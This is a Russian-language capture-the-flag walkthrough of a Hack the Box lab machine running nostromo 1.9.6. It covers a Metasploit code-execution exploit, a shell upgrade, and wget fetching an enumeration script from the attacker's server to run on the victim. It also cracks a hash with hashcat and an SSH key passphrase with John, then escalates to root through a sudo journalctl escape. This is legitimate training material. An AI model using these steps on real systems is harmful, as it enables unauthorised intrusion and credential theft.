---
# System prepended metadata

title: '**Hack the Box: Travexsec**'
tags: [HTB]

---

###### tags: `HTB`
https://app.hackthebox.com/machines/217
# **Hack the Box: Travexsec**
Сканируем хост nmap -sV -sC --script vulners 10.10.10.165
![](https://i.imgur.com/xi3Dsqj.png)

Обращаем внимание, что на 80 порту есть веб-сервер nostromo v 1.9.6
в msfconsole ищем search nostromo 

Есть эксплойт на исполнение произвольного кода. Эксплуатируем уязвимость
получаем сессию с правами www-data
![](https://i.imgur.com/eibX6ee.jpg)

Осматриваемся 
есть пользователь david, его uid 1000. Давайте повысим привелегии:

Для удобства апгрейдим терминал:
python2 -c 'import pty;pty.spawn("/bin/bash")'


Для дальнейших действий давайте запустим скрипт енумирации линукс (https://github.com/rebootuser/LinEnum) 
Качаем его, поднимаем в папке куда скачали python3 -m http.server 
Переносим на машину жертвы - wget http://10.10.10.14:8000/LinEnum.sh
chmod +x LinEnum.sh && ./LinEnum.sh > scan.txt
less scan.txt --> 
![](https://i.imgur.com/kAy0vda.png)
Что мы видим? есть хеш Давида, давайте его сбрутим хешкатом!
*`1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/`* > traversec.hash
Проверим тип хеша https://hashcat.net/wiki/doku.php?id=example_hashes

hashcat -m 500 traversec.hash /usr/share/wordlists/rockyou.txt

Получили пароль Nowonly4me
При попытке логина с этим паролем не пускает. Ищем дальше
Давайте посмотрим настройки веб серверва в /var/nostromo/conf/nhttpd.conf
![](https://i.imgur.com/UfnF5gZ.png)
Есть папка public_www
Посмотрим что есть в этой папке:
![](https://i.imgur.com/qDVKhyO.png)
Есть интересный файл бекапа, давайте его скачаем:
На атакующей машине:
![](https://i.imgur.com/iPgIwix.png)
На жертве:
![](https://i.imgur.com/U58OXCH.png)
tar -xzvf backup-ssh-identity-files.tar
ПРи попытке авторизации по этим ключам , видим что закрытый ключ запаролен
![](https://i.imgur.com/yRFeiWN.png)
ДАвайте его сбрутим Джоном:
Делаем хеш из рса файла, брутим по стандартному вордлисту:
![](https://i.imgur.com/aWmktPO.png)
Получили пользователя:
![](https://i.imgur.com/wx2AYw4.png)


ДАвайте попробуем подняться до рута:

![](https://i.imgur.com/cVynTl3.png)
У Дэвида есть в папке бин 2 файла, и что интересно, с правами судо запускается journalctl (https://gtfobins.github.io/gtfobins/journalctl/) 
Берем в конце файла строку с запуском сервиса, запускаем ее, после запуска у нас откроется less, и введя !/bin/sh мы получаем рута
![](https://i.imgur.com/sBTuJKF.png)
